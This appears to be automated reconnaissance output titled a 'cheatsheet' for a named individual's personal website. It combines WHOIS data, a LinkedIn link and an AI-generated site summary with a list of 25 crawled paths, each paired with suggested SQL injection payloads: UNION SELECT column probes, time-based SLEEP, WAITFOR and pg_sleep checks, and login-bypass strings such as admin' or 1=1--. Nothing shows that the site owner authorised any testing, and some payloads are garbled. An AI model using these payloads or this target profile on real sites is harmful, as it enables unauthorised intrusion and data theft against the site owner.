

## Cheatsheet for <https://gustavosc.com/>

### **\*\*OSINT Information\*\***

Domain Name: GUSTAVOSC.COM

Registry Domain ID: 2591705049\_DOMAIN\_COM-VRSN

Registrar WHOIS Server: whois.namecheap.com

Registrar URL: <http://www.namecheap.com>

Updated Date: 2021-02-16T13:58:09Z

Creation Date: 2021-02-16T11:41:36Z

Registry Expiry Date: 2022-02-16T11:41:36Z

Registrar: NameCheap, Inc.

Registrar IANA ID: 1068

Registrar Abuse Contact Email: [abuse@namecheap.com](mailto:abuse@namecheap.com)

Registrar Abuse Contact Phone: +1.6613102107

Domain Status: clientTransferProhibited

<https://icann.org/epp#clientTransferProhibited>

Name Server: DNS1.NAMECHEAPHOSTING.COM

Name Server: DNS2.NAMECHEAPHOSTING.COM

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form:

<https://www.icann.org/wicf/>

>>> Last update of whois database: 2021-09-14T15:35:54Z <<<

For more information on Whois status codes, please visit

<https://icann.org/epp>

NOTICE: The expiration date displayed in this record is the date the

registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration.

**TERMS OF USE:** You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to

ensure

operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.

Domain name: gustavosc.com

Registry Domain ID: 2591705049\_DOMAIN\_COM-VRSN

Registrar WHOIS Server: whois.namecheap.com

Registrar URL: <http://www.namecheap.com>

Updated Date: 0001-01-01T00:00:00.00Z

Creation Date: 2021-02-16T11:41:36.00Z

Registrar Registration Expiration Date: 2022-02-16T11:41:36.00Z

Registrar: NAMECHEAP INC

Registrar IANA ID: 1068

Registrar Abuse Contact Email: [abuse@namecheap.com](mailto:abuse@namecheap.com)

Registrar Abuse Contact Phone: +1.6613102107

Reseller: NAMECHEAP INC

Domain Status: clientTransferProhibited

<https://icann.org/epp#clientTransferProhibited>

Registry Registrant ID:

Registrant Name: Withheld for Privacy Purposes

Registrant Organization: Privacy service provided by Withheld for Privacy ehf

Registrant Street: Kalkofnsvegur 2

Registrant City: Reykjavik

Registrant State/Province: Capital Region

Registrant Postal Code: 101

Registrant Country: IS

Registrant Phone: +354.4212434

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email:

20760771ada642e78cd87c9ac09187c2.protect@withheldforprivacy.com

Registry Admin ID:

Admin Name: Withheld for Privacy Purposes

Admin Organization: Privacy service provided by Withheld for Privacy ehf

Admin Street: Kalkofnsvegur 2

Admin City: Reykjavik

Admin State/Province: Capital Region

Admin Postal Code: 101

Admin Country: IS

Admin Phone: +354.4212434

Admin Phone Ext:

Admin Fax:

Admin Fax Ext:

Admin Email:

20760771ada642e78cd87c9ac09187c2.protect@withheldforprivacy.com

Registry Tech ID:

Tech Name: Withheld for Privacy Purposes

Tech Organization: Privacy service provided by Withheld for Privacy ehf  
Tech Street: Kalkofnsvegur 2  
Tech City: Reykjavik  
Tech State/Province: Capital Region  
Tech Postal Code: 101  
Tech Country: IS  
Tech Phone: +354.4212434  
Tech Phone Ext:  
Tech Fax:  
Tech Fax Ext:  
Tech Email:  
20760771ada642e78cd87c9ac09187c2.protect@withheldforprivacy.com  
Name Server: dns1.namecheaphosting.com  
Name Server: dns2.namecheaphosting.com  
DNSSEC: unsigned  
URL of the ICANN WHOIS Data Problem Reporting System:  
<http://wdprs.internic.net/>  
>>> Last update of WHOIS database: 2021-09-14T12:36:13.50Z <<<  
For more information on Whois status codes, please visit  
<https://icann.org/epp>

**\*\*AI Powered Summary\*\***

'The aim of this project is to design and implement a smart hydroponic plant growing system that can be controlled remotely via a web application.\n'

**\*\*Found Social Media Links\*\***

<https://www.linkedin.com/in/gustavo-sanchez98/>

**Found Emails**		
No Email Addresses available		
**Suspected file types**		
'.html'		
**Found Paths**		
Method: GET, Total #: 25		
1	https://gustavosc.com/index.html -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))--
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9--
2	https://gustavosc.com/cgi-bin/ -> 403	
3	https://gustavosc.com/cgi-bin -> 403	
4	https://gustavosc.com/papers/ -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
✓	x	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
✓	x	,
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7#
✓	x	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
5	https://gustavosc.com/papers -> 200 -> SQLi Suggestions:	
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#

✓	x	UNION ALL SELECT
		@ @VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,--
✓	x	' or ''
✓	x	UNION SELECT @ @VERSION,SLEEP(5),USER(),4#
✓	x	UNION SELECT @ @VERSION,SLEEP(5),"3"#
6		https://gustavosc.com/mailman/ -> 403
7		https://gustavosc.com/mailman -> 403
8		https://gustavosc.com/pipermail/ -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT
		@ @VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
✓	x	ORDER BY 19
✓	x	ORDER BY 23#
✓	x	WHERE 1=1 AND 1=1#
✓	x	ORDER BY
		1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
9		https://gustavosc.com/pipermail -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 6#
✓	x	admin' or 1=1
✓	x	admin"/*
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
✓	x	admin') or '1'=1'--
10		https://gustavosc.com/webmail -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT @ @VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

✓	x	
✓	x	")) or pg_sleep(5)--
11		https://gustavosc.com/webmail/ -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
✓	x	ORDER BY 31337--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
12		https://gustavosc.com/cgi-sys/ -> 403
13		https://gustavosc.com/cgi-sys -> 403
14		https://gustavosc.com/controlpanel -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
✓	x	pg_SLEEP(5)
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
✓	x	OR 1=1#
✓	x	' AND MID(VERSION(),1,1) = '5';
15		https://gustavosc.com/controlpanel/ -> 200 -> SQLi Suggestions:
✓	x	WHERE 1=1 AND 1=1--
✓	x	admin"/*
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
16		https://gustavosc.com/cpanel/ -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 15--
✓	x	OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))



✓	x	UNION SELECT
		@ @VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
✓	x	admin" or "1"="1"/*
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
<b>17</b> https://gustavosc.com/cpanel -> 200 -> SQLi Suggestions:		
✓	x	UNION ALL SELECT
		@ @VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL--
✓	x	'&&SLEEP(5)&&'1
✓	x	admin" --
✓	x	UNION ALL SELECT
		'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
✓	x	UNION SELECT
		@ @VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26#
<b>18</b> https://gustavosc.com/figures/ -> 200 -> SQLi Suggestions:		
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11--
✓	x	UNION ALL SELECT
		@ @VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL, --
✓	x	);waitfor delay '0:0:5'--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
<b>19</b> https://gustavosc.com/figures -> 200 -> SQLi Suggestions:		
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
✓	x	AND 5650=CONVERT(INT,(UNION ALL

		SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
✓	x	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
✓	x	and (select substring(@@version,2,1))='y'
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
20		https://gustavosc.com/mailman/options/ -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
✓	x	UNION ALL SELECT NULL
✓	x	admin' or '1'='1
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
✓	x	admin'/*
21		https://gustavosc.com/mailman/options -> 200 -> SQLi Suggestions:
✓	x	) or pg_sleep(5)--
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
✓	x	admin' or 1=1--
✓	x	";waitfor delay '0:0:5'--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
22		https://gustavosc.com/mailman/options/mailman/ -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 29

✓	x	;
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))--
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
23		https://gustavosc.com/mailman/options/mailman -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 2
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
✓	x	ORDER BY 5#
✓	x	or 1=1--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12--
24		https://gustavosc.com/mailman/options/Mailman/ -> 200 -> SQLi Suggestions:
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7
✓	x	ORDER BY 26--
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3--
25		https://gustavosc.com/mailman/options/Mailman -> 200 -> SQLi Suggestions:
✓	x	';WAITFOR DELAY '0:0:30'--
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11#
✓	x	";waitfor delay '0:0:5'--

<input checked="" type="checkbox"/>	x		UNION ALL SELECT 'INJ'    'ECT'    'XXX',2,3,4,5,6,7,8
<input checked="" type="checkbox"/>	x		UNION ALL SELECT  @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NUL--  NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL--